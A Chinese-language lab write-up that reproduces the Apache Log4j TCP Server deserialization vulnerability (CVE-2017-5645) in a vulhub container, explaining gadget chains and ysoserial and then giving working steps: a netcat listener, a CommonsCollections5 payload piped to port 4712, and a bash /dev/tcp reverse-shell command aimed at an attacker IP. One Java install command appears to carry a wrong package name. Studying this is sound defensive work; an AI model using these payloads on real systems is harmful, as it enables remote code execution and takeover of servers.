vulhub漏洞复现之Apache Log4j TCP Server 反序列化命令执行漏洞(CVE-2017-5645)
第一部分:漏洞原理深度解析
CVE-2017-5645 的核心是 不安全的反序列化。要理解这个漏洞,我们首先需要明白几个关键概念:序列化、反序列化、以及为什么反序列化会变得危险。
1. 什么是序列化和反序列化?
-
序列化:将内存中的对象(比如一个Java对象实例)转换成一串字节流的过程。这就像把一个复杂的乐高模型拆解成一袋按顺序排列的积木块,方便存储或通过网络传输。
-
反序列化:序列化的逆过程,即将字节流重新在内存中构建成原始对象的过程。这就像拿到那袋积木块,按照原来的顺序和方法,重新拼装出那个乐高模型。
在Java中,ObjectInputStream 类是进行反序列化的核心工具。
2. Apache Log4j TCP Server 在做什么?
Log4j 2.x 提供了一个功能,可以作为一个独立的日志服务器运行。这个服务器会监听一个TCP端口(比如本例中的4712),接收来自其他应用程序发送过来的日志事件。
-
客户端:一个应用程序想发送日志,它会创建一个
LogEvent对象,这个对象包含了日志级别、时间戳、日志消息、线程名等信息。 -
传输:客户端将这个
LogEvent对象序列化成字节流,然后通过TCP socket发送给Log4j服务器。 -
服务端:Log4j TCP Server(
TcpSocketServer)接收到字节流后,会使用ObjectInputStream对其进行反序列化,将其还原成一个LogEvent对象,然后进行后续的日志处理(如写入文件、打印到控制台等)。
这个过程本身是正常的,是Log4j设计的功能。
3. 漏洞点:信任的崩塌
漏洞的关键在于 Log4j TCP Server 对它接收到的数据“过于信任”。
它假设所有通过TCP socket发送过来的字节流,都是一个合法的、由Log4j客户端生成的、安全的 LogEvent 对象序列化后的结果。它没有进行任何的验证、过滤或沙箱处理,就直接将其交给了 ObjectInputStream.readObject() 方法进行反序列化。
这就好比一个快递站,只认包裹上的标签(序列化数据的格式),只要是标签符合的包裹,就无条件地拆开(反序列化),完全不管里面装的是什么。如果攻击者寄来一个伪装成包裹的炸弹,快递站也会照拆不误。
4. 攻击者如何利用?“小工具链” (Gadget Chain)
攻击者无法直接发送一段可执行代码(比如 rm -rf /)让服务器执行。但是,他们可以利用Java生态中广泛存在的“小工具链”(Gadget Chain)。
Gadget Chain 的核心思想是:
攻击者精心构造一个特殊的对象(我们称之为“恶意对象”),这个对象本身不是 LogEvent,但它满足以下条件:
-
可序列化:它实现了
java.io.Serializable接口。 -
可触发:当这个对象被反序列化时,Java的机制会自动调用它的某些特殊方法,比如
readObject()。 -
“连锁反应”:在这个
readObject()方法内部,会去调用其他类的某个方法;那个方法又会去调用另一个类的方法……像多米诺骨牌一样,形成一条调用链。 -
最终达成目的:这条调用链的终点,是一个能够执行任意代码的危险方法,比如
Runtime.exec()。
** ysoserial 的作用**
ysoserial 正是这样一款神器。它是一个集成了各种已知Gadget Chain的工具。你只需要告诉它:
-
使用哪个Gadget Chain(例如
CommonsCollections5)。 -
想要执行什么命令(例如
touch /tmp/success)。
ysoserial 就会自动生成一个包含了完整“多米诺骨牌”的恶意对象的序列化字节流。
漏洞原理总结:
-
入口:Log4j TCP Server 在4712端口监听,无条件反序列化任何接收到的数据。
-
载体:攻击者使用
ysoserial工具,构造一个包含恶意Gadget Chain的序列化对象。 -
传输:攻击者将这个恶意字节流通过TCP发送到服务器的4712端口。
-
触发:服务器端的
ObjectInputStream.readObject()开始反序列化。 -
执行:反序列化过程触发了Gadget Chain的“多米诺骨牌效应”,最终调用
Runtime.getRuntime().exec(),执行了攻击者预设的任意命令。
第二部分:反弹Shell的详细实现与原理
现在我们知道了如何执行一个简单的命令(如 touch),那么如何将其升级为交互式的反弹shell呢?
1. 什么是反弹shell?
通常,我们想控制一台服务器,会从我们自己的机器(攻击机)去连接目标服务器(受害机),这叫正向连接。
但在很多情况下:
- 受害机在内网,无法从外网直接访问。
- 受害机有严格的防火墙,只允许出站流量,不允许入站流量。
这时,反弹shell 就派上用场了。它反其道而行之:
-
受害机主动去连接攻击机的一个特定端口。
-
攻击机在该端口上监听,等待连接。
-
连接建立后,受害机将其命令行(如
/bin/bash)的标准输入、标准输出、标准错误全部“重定向”到这个TCP连接上。 -
攻击机在监听端口上收到的任何数据,都会被当作命令发送给受害机的shell去执行;受害机shell执行的任何结果,都会通过TCP连接返回给攻击机。
这样,攻击机就获得了一个在受害机上运行的、完全交互式的shell。
2. 如何在Java中实现反弹shell?
在Java中,实现反弹shell最经典、最可靠的方式是使用 /bin/bash 的 -i 和重定向功能。其核心命令如下:
/bin/bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
我们来拆解这个命令的每一个部分:
-
/bin/bash -i:启动一个交互式的bash shell。-i参数至关重要,它确保shell会读取环境变量、显示提示符等,使其行为像一个正常的终端。 -
>&:这是一个重定向操作符,它将标准输出和标准错误都重定向到同一个地方。在反弹shell中,我们希望命令的执行结果和错误信息都能回显给攻击者。 -
/dev/tcp/攻击机IP/攻击机端口:这是bash一个非常强大的特性。它不是一个真实的设备文件,而是bash提供的一个特殊语法,用于创建一个TCP socket连接。当bash看到这个路径时,它会主动尝试连接到指定的IP和端口。
这是整个反弹shell命令的核心。
0>&1:这是最关键的一步,它负责处理标准输入。0代表标准输入。1代表标准输出。0>&1的意思是:将标准输入重定向到标准输出的地方。- 此时,标准输出已经被
>&重定向到了/dev/tcp/...这个TCP连接上。 - 所以,
0>&1的效果就是:将标准输入也重定向到这个TCP连接上。
整个命令的执行流程:
- 受害机上的Java进程通过
Runtime.exec()执行了这条bash命令。 - bash启动,并尝试建立一个到
攻击机IP:攻击机端口的TCP连接。 - 攻击机上的监听程序(如
nc -lvnp 9999)收到了连接请求,一个TCP会话建立。 - 此时,受害机上的bash进程:
- 它的标准输出 和 标准错误 都指向了TCP连接。
- 它的标准输入 也指向了TCP连接。
- 交互开始:
- 你在攻击机的终端输入
ls -la并回车。这个字符串通过TCP连接发送给了受害机的bash。 - 受害机的bash收到了
ls -la,把它当作一个命令来执行。 ls -la的执行结果(文件列表)被写入到bash的标准输出。- 由于标准输出被重定向到了TCP连接,这个结果就通过网络传回了你的攻击机终端。
- 你在屏幕上看到了受害机目录下的文件列表。
- 你在攻击机的终端输入
至此,一个完整的反弹shell就实现了。你获得了对受害机的远程控制权。
3. 完整的攻击复现步骤
结合以上原理,我们再完整地走一遍流程。
环境准备:
-
攻击机:你的Kali Linux或任意Linux系统,需要安装
java,nc(netcat), 并下载ysoserial-all.jar。 -
受害机:运行着存在CVE-2017-5645漏洞的Log4j TCP Server的Docker容器(IP:
your-ip)。
步骤一:在攻击机上启动监听器
我们需要一个端口来接收反弹回来的shell。这里我们选择 9999 端口。
# -l: 监听模式
# -v: 详细输出
# -n: 不做DNS解析
# -p: 指定端口
nc -lvnp 9999

执行后,nc 会等待连接。此时看起来是卡住的,这是正常的。
步骤二:构造并发送Payload
现在,我们使用 ysoserial 来生成反弹shell的payload,并发送给受害机的4712端口。
- Gadget Chain:
CommonsCollections5(这是一个在Java 8u71以下版本中非常稳定和常用的链) - 命令:
/bin/bash -i >& /dev/tcp/攻击机IP/9999 0>&1
由于我上面查看了java版本为java11,这里我们安装java8环境并切换
#如果是Red Hat 系 (CentOS/RHEL/Fedora)
yum install java-1.8.0-openjdk.x86_64
#如果是Debian系(Kali Linux/Ubutun)
apt install nvidia-openjdk-8-jre
#然后切换java版本
sudo update-alternatives --config java
#这里可能会遇见没有我们刚才安装的java8,我们需要去手动注册
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081
#切换版本后,检查
java -version

* **注意**:这里的 `攻击机IP` 必须是攻击机可以被受害机访问到的IP地址。并且攻击机也能够nc连接上受害机的IP,即受害机也需要由公网IP。如果两者在同一个局域网,就是局域网IP;如果攻击机有公网IP,就填公网IP。
# 这里我的攻击机IP是 192.168.1.131,受害机IP为192.168.1.133
#这里我们先测试,是否能利用这个反序列化链,先尝试创建一个文件
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.1.133 4712
#通过在受害机查看是否创建成功
docker-compose exec log4j bash
#如果成功的话接着建立连接
java -jar ysoserial-all.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/192.168.1.131/9999 0>&1" | nc 192.168.1.133 4712
#如果失败的话,尝试直接nc查看是否是防火墙导致4712端口未开放,或者重新启动该docker
命令解析:
java -jar ysoserial-...jar CommonsCollections5 "...":- 调用Java运行
ysoserial。 - 使用
CommonsCollections5这个Gadget Chain。 - 要执行的命令是反弹shell的bash命令。
ysoserial会把这个命令包装进Gadget Chain中,并生成最终的序列化字节流。
- 调用Java运行
|:管道符。将前一个命令的输出(即ysoserial生成的恶意字节流)作为后一个命令的输入。nc your-ip 4712:- 使用
nc作为TCP客户端,连接到受害机的Log4j服务器 (your-ip:4712)。 nc会将从管道接收到的所有数据(恶意字节流)原封不动地发送给服务器。
- 使用
步骤三:获取Shell
当你按下回车执行步骤二的命令后:
ysoserial生成payload。nc将payload发送给your-ip:4712。- 受害机的Log4j服务器接收到payload,开始反序列化。
- 反序列化触发
CommonsCollections5Gadget Chain,最终执行了Runtime.exec("/bin/bash -i ...")。 - 受害机上的bash进程尝试连接
192.168.1.131:9999。 - 你在步骤一中启动的
nc监听器收到了连接! - 你的
nc终端会显示连接已建立,并弹出一个bash提示符,类似bash: no job control in this shell或直接是一个光标。
现在,你就可以在这个终端里输入任何命令,就像直接操作受害机一样了。
# 在攻击机的nc终端里
whoami
id
ls -la /

这里我创建文件成功了,但是反弹shell等了很久没反应,于是我测试是否是命令有误,或者是连通性的问题,于是我直接在受害机执行了/bin/bash -i >& /dev/tcp/192.168.1.131/9999 0>&1该命令,发现能够成功连接。暂时不清楚是什么原因导致反弹shell失败

你将看到受害机执行这些命令后的结果。
总结
CVE-2017-5645 是一个典型的因“信任外部输入”而导致的不安全反序列化漏洞。其利用过程可以概括为:
- 漏洞根源:Log4j TCP Server未经验证地反序列化外部传入的数据。
- 利用工具:
ysoserial,用于封装Gadget Chain,生成恶意序列化数据。 - 攻击载荷:一个精心设计的Java对象,其反序列化过程会触发一系列方法调用,最终执行
Runtime.exec()。 - 攻击升级:将简单的命令执行(如
touch)替换为复杂的bash重定向命令(/bin/bash -i >& /dev/tcp/... 0>&1),从而建立一个由受害机主动发起的、稳定的、交互式的反向控制通道(反弹shell)。
这个漏洞深刻地揭示了在处理序列化数据时,必须始终遵循“零信任”原则,对数据进行严格的校验、净化或使用安全的替代方案(如JSON、XML等文本格式)。

浙公网安备 33010602011771号